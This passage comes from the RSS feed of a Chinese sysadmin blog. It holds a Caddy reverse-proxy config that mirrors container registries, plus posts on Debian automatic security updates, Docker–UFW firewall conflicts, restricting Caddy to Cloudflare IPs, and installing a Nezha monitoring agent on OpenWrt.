&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; reverse_proxy * https://auth.docker.io {
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; header_up Host auth.docker.io
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; header_up X-Real-IP {http.request.remote.host}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; header_up X-Forwarded-For {http.request.remote.host}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; header_up X-Forwarded-Port {http.request.port}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; header_up X-Forwarded-Proto {http.request.scheme}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; header_down Set-Cookie auth.docker.io docker.${DOMAIN}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;production.cloudflare.docker.${DOMAIN} {
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; encode gzip
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; reverse_proxy * https://production.cloudflare.docker.com {
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; header_up Host production.cloudflare.docker.com
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; header_up X-Real-IP {http.request.remote.host}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; header_up X-Forwarded-For {http.request.remote.host}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; header_up X-Forwarded-Port {http.request.port}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; header_up X-Forwarded-Proto {http.request.scheme}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; header_down Set-Cookie production.cloudflare.docker.com docker.${DOMAIN}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;hub.quay.${DOMAIN} {
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; encode gzip
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; reverse_proxy * https://quay.io {
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; header_up Host quay.io
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; header_up X-Real-IP {http.request.remote.host}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; header_up X-Forwarded-For {http.request.remote.host}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; header_up X-Forwarded-Port {http.request.port}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; header_up X-Forwarded-Proto {http.request.scheme}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; header_down Set-Cookie quay.io quay.${DOMAIN}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; header_down Www-Authenticate &amp;#34;Bearer realm=\&amp;#34;https://hub.quay.${DOMAIN}/v2/auth\&amp;#34;,service=\&amp;#34;quay.io\&amp;#34;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;hub.gcr.${DOMAIN} {
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; encode gzip
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; reverse_proxy * https://gcr.io {
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; header_up Host gcr.io
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; header_up X-Real-IP {http.request.remote.host}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; header_up X-Forwarded-For {http.request.remote.host}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; header_up X-Forwarded-Port {http.request.port}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; header_up X-Forwarded-Proto {http.request.scheme}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; header_down Set-Cookie k8s.gcr.io gcr.${DOMAIN}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; header_down Www-Authenticate &amp;#34;Bearer realm=\&amp;#34;https://hub.gcr.${DOMAIN}/v2/token\&amp;#34;,service=\&amp;#34;gcr.io\&amp;#34;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;hub.k8s.${DOMAIN} {
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; encode gzip
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; reverse_proxy * https://k8s.gcr.io {
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; header_up Host k8s.gcr.io
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; header_up X-Real-IP {http.request.remote.host}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; header_up X-Forwarded-For {http.request.remote.host}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; header_up X-Forwarded-Port {http.request.port}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; header_up X-Forwarded-Proto {http.request.scheme}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; header_down Set-Cookie k8s.gcr.io gcr.${DOMAIN}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; header_down Www-Authenticate &amp;#34;Bearer realm=\&amp;#34;https://hub.k8s.${DOMAIN}/v2/token\&amp;#34;,service=\&amp;#34;k8s.gcr.io\&amp;#34;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; header_down Location &amp;#34;https://storage.googleapis.com&amp;#34; &amp;#34;https://storage.googleapis.${DOMAIN}&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;storage.googleapis.${DOMAIN} {
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; encode gzip
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; reverse_proxy * https://storage.googleapis.com {
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; header_up Host storage.googleapis.com
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; header_up X-Real-IP {http.request.remote.host}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; header_up X-Forwarded-For {http.request.remote.host}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; header_up X-Forwarded-Port {http.request.port}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; header_up X-Forwarded-Proto {http.request.scheme}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; header_down Set-Cookie storage.googleapis.com storage.googleapis.${DOMAIN}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;EOF&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;systemctl restart caddy
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>Debian和Centos自动更新安全补丁，防止被黑</title><link>https://luodaoyi.com/posts/debian%E5%92%8Ccentos%E8%87%AA%E5%8A%A8%E6%9B%B4%E6%96%B0%E5%AE%89%E5%85%A8%E8%A1%A5%E4%B8%81%E9%98%B2%E6%AD%A2%E8%A2%AB%E9%BB%91/</link><pubDate>Mon, 09 Dec 2024 11:10:16 +0800</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/debian%E5%92%8Ccentos%E8%87%AA%E5%8A%A8%E6%9B%B4%E6%96%B0%E5%AE%89%E5%85%A8%E8%A1%A5%E4%B8%81%E9%98%B2%E6%AD%A2%E8%A2%AB%E9%BB%91/</guid><description>&lt;h2 id="debian-12-启用自动更新安全补丁"&gt;Debian 12 启用自动更新安全补丁&lt;/h2&gt;
&lt;p&gt;在 Debian 12 上启用自动更新安全补丁（自动安全更新）通常可以使用 unattended-upgrades 工具来实现。下面是详细步骤：&lt;/p&gt;
&lt;h2 id="安装-unattended-upgrades-软件包"&gt;安装 unattended-upgrades 软件包：&lt;/h2&gt;
&lt;p&gt;通常 Debian 12 默认源中已经包含此工具，如未安装可执行：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo apt-get update
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo apt-get install unattended-upgrades
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h2 id="通过交互式配置启用自动更新"&gt;通过交互式配置启用自动更新：&lt;/h2&gt;
&lt;p&gt;安装完成后，可以使用 dpkg-reconfigure 来进行配置：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo dpkg-reconfigure unattended-upgrades
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;此时会有一个交互式对话框，选择 &lt;code&gt;Yes&lt;/code&gt; 启用自动更新。&lt;/p&gt;</description></item><item><title>禁用docker的ufw,禁止docker无视ufw规则</title><link>https://luodaoyi.com/posts/%E7%A6%81%E7%94%A8docker%E7%9A%84ufw%E7%A6%81%E6%AD%A2docker%E6%97%A0%E8%A7%86ufw%E8%A7%84%E5%88%99/</link><pubDate>Sat, 23 Nov 2024 08:33:14 +0800</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/%E7%A6%81%E7%94%A8docker%E7%9A%84ufw%E7%A6%81%E6%AD%A2docker%E6%97%A0%E8%A7%86ufw%E8%A7%84%E5%88%99/</guid><description>&lt;p&gt;默认情况下，创建容器如果绑定了端口，则 docker 会自动修改 iptables 打开这个端口。然而 UFW 并不会显示这个规则，这就导致了不管使用 UFW 做什么限制，docker 绑定的这个端口都是开放的。&lt;/p&gt;
&lt;h1 id="问题所在"&gt;问题所在&lt;/h1&gt;
&lt;p&gt;默认情况下，创建容器如果绑定了端口，则 docker 会自动修改 iptables 打开这个端口。然而 &lt;a href="https://linux.cn/article-8087-1.html"&gt;UFW(uncomplicated firewall)&lt;/a&gt; 并不会显示这个规则，这就导致了不管使用 UFW 做什么限制，docker 绑定的这个端口都是开放的。&lt;/p&gt;</description></item><item><title>Caddy设置仅允许cloudfalre的ip访问，防止被穿过waf</title><link>https://luodaoyi.com/posts/caddy%E8%AE%BE%E7%BD%AE%E4%BB%85%E5%85%81%E8%AE%B8cloudfalre%E7%9A%84ip%E8%AE%BF%E9%97%AE%E9%98%B2%E6%AD%A2%E8%A2%AB%E7%A9%BF%E8%BF%87waf/</link><pubDate>Tue, 15 Oct 2024 13:42:09 +0800</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/caddy%E8%AE%BE%E7%BD%AE%E4%BB%85%E5%85%81%E8%AE%B8cloudfalre%E7%9A%84ip%E8%AE%BF%E9%97%AE%E9%98%B2%E6%AD%A2%E8%A2%AB%E7%A9%BF%E8%BF%87waf/</guid><description>&lt;p&gt;此配置的主要用途是确保没有人可以绕过Cloudflare或其他安全反向代理提供商对网站发起拒绝服务攻击（DoS）。类似功能可以通过real_ip和其他插件实现，但本文的重点是简化设置，不需要安装插件。&lt;/p&gt;
&lt;p&gt;需要注意的是，Cloudflare的IP范围并非静态的，尽管变化频率非常低，仍需要手动更新。有人仍然可以通过Cloudflare Workers作为第三方在Cloudflare IP范围内发起请求，不过要使用这种方式进行大规模拒绝服务攻击难度较大。&lt;/p&gt;</description></item><item><title>Openwrt 路由器安装哪吒监控Agent</title><link>https://luodaoyi.com/posts/openwrt-%E8%B7%AF%E7%94%B1%E5%99%A8%E5%AE%89%E8%A3%85%E5%93%AA%E5%90%92%E7%9B%91%E6%8E%A7agent/</link><pubDate>Wed, 02 Oct 2024 15:34:48 +0800</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/openwrt-%E8%B7%AF%E7%94%B1%E5%99%A8%E5%AE%89%E8%A3%85%E5%93%AA%E5%90%92%E7%9B%91%E6%8E%A7agent/</guid><description>&lt;p&gt;最近想把路由器也接入nezha监控
于是乎研究下了下发现挺简单的&lt;/p&gt;
&lt;p&gt;步骤如下&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;下载agent 可执行文件&lt;/li&gt;
&lt;li&gt;编写init.d脚本设置开机启动&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;以下操作全部都在openwrt的ssh中执行&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1 id="下载"&gt;下载&lt;/h1&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;span class="lnt"&gt;6
&lt;/span&gt;&lt;span class="lnt"&gt;7
&lt;/span&gt;&lt;span class="lnt"&gt;8
&lt;/span&gt;&lt;span class="lnt"&gt;9
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-shell" data-lang="shell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; /tmp/upload/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;wget https://github.com/nezhahq/agent/releases/download/v0.19.8/nezha-agent_linux_arm64.zip
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;unzip nezha-agent_linux_arm64.zip
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mv nezha-agent /usr/sbin/nezha-agent
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;chmod +x /usr/sbin/nezha-agent
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 检查下是否成功&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;root@QWRT:/tmp/upload# nezha-agent -v
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;0.19.8
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h1 id="配置脚本并且设置开机启动"&gt;配置脚本并且设置开机启动&lt;/h1&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;span class="lnt"&gt;11
&lt;/span&gt;&lt;span class="lnt"&gt;12
&lt;/span&gt;&lt;span class="lnt"&gt;13
&lt;/span&gt;&lt;span class="lnt"&gt;14
&lt;/span&gt;&lt;span class="lnt"&gt;15
&lt;/span&gt;&lt;span class="lnt"&gt;16
&lt;/span&gt;&lt;span class="lnt"&gt;17
&lt;/span&gt;&lt;span class="lnt"&gt;18
&lt;/span&gt;&lt;span class="lnt"&gt;19
&lt;/span&gt;&lt;span class="lnt"&gt;20
&lt;/span&gt;&lt;span class="lnt"&gt;21
&lt;/span&gt;&lt;span class="lnt"&gt;22
&lt;/span&gt;&lt;span class="lnt"&gt;23
&lt;/span&gt;&lt;span class="lnt"&gt;24
&lt;/span&gt;&lt;span class="lnt"&gt;25
&lt;/span&gt;&lt;span class="lnt"&gt;26
&lt;/span&gt;&lt;span class="lnt"&gt;27
&lt;/span&gt;&lt;span class="lnt"&gt;28
&lt;/span&gt;&lt;span class="lnt"&gt;29
&lt;/span&gt;&lt;span class="lnt"&gt;30
&lt;/span&gt;&lt;span class="lnt"&gt;31
&lt;/span&gt;&lt;span class="lnt"&gt;32
&lt;/span&gt;&lt;span class="lnt"&gt;33
&lt;/span&gt;&lt;span class="lnt"&gt;34
&lt;/span&gt;&lt;span class="lnt"&gt;35
&lt;/span&gt;&lt;span class="lnt"&gt;36
&lt;/span&gt;&lt;span class="lnt"&gt;37
&lt;/span&gt;&lt;span class="lnt"&gt;38
&lt;/span&gt;&lt;span class="lnt"&gt;39
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-shell" data-lang="shell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;vi /etc/init.d/nezha-service
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;输入以下内容:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;#!/bin/sh /etc/rc.common&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;START&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;99&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;USE_PROCD&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;start_service&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; procd_open_instance
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; procd_set_param &lt;span class="nb"&gt;command&lt;/span&gt; /usr/sbin/nezha-agent -s 自己的服务器:443 -p 自己的密码 --tls --report-delay &lt;span class="m"&gt;4&lt;/span&gt; --skip-conn --skip-procs --ip-report-period &lt;span class="m"&gt;600&lt;/span&gt; --disable-command-execute
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; procd_set_param respawn
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; procd_close_instance
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;stop_service&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; killall nezha-agent
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;restart&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; stop
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; sleep &lt;span class="m"&gt;2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; start
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;#设置权限，否则会报错&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;chmod a+x /etc/init.d/nezha-service
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;#设置开机启动&lt;/span&gt;
